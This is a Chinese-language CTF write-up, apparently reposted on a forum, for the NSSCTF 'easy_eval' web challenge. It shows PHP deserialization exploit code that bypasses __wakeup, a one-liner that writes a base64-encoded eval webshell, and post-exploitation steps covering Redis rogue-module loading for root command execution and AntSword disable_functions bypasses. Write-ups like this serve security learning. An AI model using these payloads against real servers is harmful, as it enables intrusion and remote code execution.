尚未崩坏 发表于 2024-10-21 22:46:07

NSSCTF-WEB-easy_eval

目录

前言
正文
思路
序列化构造
 后渗出
思路点1:Redis
思路2:蚁剑插件绕过disable_functinons
结尾
作者的其他文章

前言

说是easy,实际很difficult
正文

思路

<?php
class A{
    public $code = "";
    function __call($method,$args){//最后执行命令
      eval($this->code);
      
    }
    function __wakeup(){//需要绕过
      $this->code = "";
    }
}

class B{
    function __destruct(){
      echo $this->a->a();//这里触发__call方法
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"":(.*?):/s',$_REQUEST['poc'],$ret);
    //主要还是匹配传入的序列化语句,其实看AB就能够明白
    if (isset($ret)) {//下面就是设置的waf了,能够明白这玩意需要绕过即可
      foreach ($ret as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
      }
      unserialize($_REQUEST['poc']);   
    }


}else{
    highlight_file(__FILE__);
}
序列化构造

简单扫一眼,pop构造不难,preg_match根据序列化特性绕过即可
由此
可以写出这样一个文件用于生成可利用的序列化语句
<?php
class a{
    public $code;
    function __construct(){
      $this->code="system('ls');";
    }
}

class b{
    public $a;
}

$a=new b();
$a->a=new a();
echo serialize($a);
//O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}} 接下来将生成的序列化语句内"b":1或"a":1修改为2
因为是类序列化,所以只要保证含__wakeup方法的类不触发wakeup就行
https://i-blog.csdnimg.cn/direct/5c6a4d8cd91548dd9db8c10add1b88ad.png失败
有大概过滤了system?
举行fuzz测试,发现passthru,exec,shell_exec均被限定,但是传入phpinfo乐成
https://i-blog.csdnimg.cn/direct/92cec1d186d94136b3cd1b835c73011b.png
 没有flag
https://i-blog.csdnimg.cn/direct/a09baafb20dc478a817b08a358b41512.png
 看看限定了什么函数
https://i-blog.csdnimg.cn/direct/ee7bfbd68cc446a79d9b080077eab912.png

限定死死的........
好家伙
但是没有限定eval,那么突发奇想,传个马进去怎么样
https://i-blog.csdnimg.cn/direct/7c7305fef8964629b4bf2367117a0240.png
 https://i-blog.csdnimg.cn/direct/b0d8df936a7a42209fa68ea8664b06c2.png
........好好好
之前还看到有位师傅是怎么传马的,在这里分享一下
fputs(fopen('dotast.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOw=="));  后渗出

 进去后发现权限不够,且虚拟终端由于源码题目无法正常使用
https://i-blog.csdnimg.cn/direct/101acab7e2384a05bab43209237d5dbe.png
 只好看看当前目录给咱留下了啥好东西
https://i-blog.csdnimg.cn/direct/41cd31c6c85b4223bdcf7ea3186a7b72.png
index.php就特殊正常
至于swp文件就一言难尽了
https://i-blog.csdnimg.cn/direct/52876036881a4536a377e45188deddb8.png
用web访问下
https://i-blog.csdnimg.cn/direct/5c9fe361fe4b4d1ba79f671949f4bbbb.png
思路点1:Redis

Redis数据库,且知道暗码
用蚁剑插件举行毗连https://i-blog.csdnimg.cn/direct/0473a99b5fb64149838050dbfd5decc5.png
 插件可以在这里下载 https://i-blog.csdnimg.cn/direct/0c3473b5d1de41b7a97ce8af03567929.png
 暗码就是you_cannot_guess_it
https://i-blog.csdnimg.cn/direct/4bccf8f4e85149019d13ba1a75d25a81.png
乐成
固然,你现在照旧啥也干不了
接下来需要做的是,使用redis指令对目标举行进一步利用
简单举个例子
任意找个db右键开个终端
https://i-blog.csdnimg.cn/direct/f3010c9a0e8a487f8f1d24ccdf703343.png
 https://i-blog.csdnimg.cn/direct/e9093833dd6c4d8d96c82092ae114fc2.png
关于Redis的底子指令,可以看这篇文章
【Redis】Redis底子下令集详解_redis下令-CSDN博客
其实照旧有必要了解的,网安可以说是系统工程什么都要会一点
不外大部分情况下都是即学即用是了//DOGE
既然题目除了redis便没有其他可利用的情况,那么我们需要对redis历年的毛病做一个简单的收集,然后获取这台机子的版本信息做进一步利用
其实他给你封死了,你并没有办法做信息收集
https://i-blog.csdnimg.cn/direct/46c670f6dbd3476cb2fadfc22c7f2646.png
出现这个题目的主要原因是题目构造所造成的缺陷,他既导致了毛病的产生,也让你后渗出不能太惬意
.......
但是在你毗连数据库的时候,在网页目录(var/www/html)会生成一个rdb文件
https://i-blog.csdnimg.cn/direct/56bb8b89e702470ab0949c20825be23d.pnghttps://i-blog.csdnimg.cn/direct/bf57f27d9dd846c6b28b3326a241dbcd.png

这样就拿到了redis的版本号
redis 5.x引入了模块系统,允许用户通过加载动态库来扩展 Redis 的功能(使用MODULE LOAD下令)。这些模块可以是 C 语言编写的共享库文件(例如 .so 文件)当用户使用root权限且没有精确配置模块路径限定,hacker可以利用这一点加载恶意模块。
这里可以算是踩雷了
你可以发现他是以root运行的https://i-blog.csdnimg.cn/direct/9a9b5aa58c7b48c8961f32026b0d1f1a.png
好的,接下来实验上传一个so文件举行下一步利用
这样的公开毛病(而且还上CTF了),csdn,github上找找exp肯定是可以找到的
https://github.com/Dliv3/redis-rogue-server
ok
将exp.so上传
https://i-blog.csdnimg.cn/direct/f360a9a3939d4da39965e05f84db4863.png
redis导入模块
https://i-blog.csdnimg.cn/direct/5229c25995744788a9e1401e177b14f8.png
至于如何使用
仔细点的师傅应该明白
github上的项目每每都存在一个readme.md教各人如何使用
https://i-blog.csdnimg.cn/direct/3b5f053b5dc54a27b87d932687f32be1.png
固然,这题我们肯定是无法借助py举行rce的,看看redis-rogue-server.py是怎么写的
https://i-blog.csdnimg.cn/direct/d297c05baf584424808acb3eac4a818f.png
这个应该就是用法了
你也可以访问https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
查看这里的exp.so的用法
https://i-blog.csdnimg.cn/direct/e3781ba8c06e491a9e563bee332da423.png
https://i-blog.csdnimg.cn/direct/f51ec88613204ecaade69713ce6485d9.png
乐成
看flag
https://i-blog.csdnimg.cn/direct/ec2a1ec085bb4b04a2c899206b938f89.png
https://i-blog.csdnimg.cn/direct/447d4905750a45a29d72824e417865f5.png
思路2:蚁剑插件绕过disable_functinons

固然
这题还有另外一种解法
使用蚁剑的disable_functions绕过插件绕过前面我们在phpinfo上看到的disable_function限定
https://i-blog.csdnimg.cn/direct/9d3843861abf48e598b1539286d81bb2.pnghttps://i-blog.csdnimg.cn/direct/72a2ef7df20c43c79778dcc266747058.png
正常来说,使用LD_PRELOAD就可以乐成绕过
不外这题不可
https://i-blog.csdnimg.cn/direct/f11165c786a944e0b84b1b118c6f3d89.png
最后实验后发现只有这两个可以乐成绕过
https://i-blog.csdnimg.cn/direct/576bc42ce8434452a02ff2ba62d01a4c.png
接下来就简单了
https://i-blog.csdnimg.cn/direct/ba48514698724d0db00f1b1f6511cb2f.png
就是这样
结尾

至于为什么github.com无法访问
可以实验实验将dns改为8.8.8.8,如果照旧不可,那就使用黑邪术或者看命把.............................
还有就是
记得在写反序列化脚本的时候把杀软关了,我的火绒看见webshell直接露头就秒.................
作者的其他文章

攻防天下-WEB-catcat-new_攻防天下catcat-new-CSDN博客
攻防天下-WEB-WEIPHP(记一次有趣的代码审计)_攻防天下weiphp-CSDN博客
BugKu-WEB-sodirty_bugku sodirty-CSDN博客
NSSCTF-WEB-pklovecloud-CSDN博客


 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: NSSCTF-WEB-easy_eval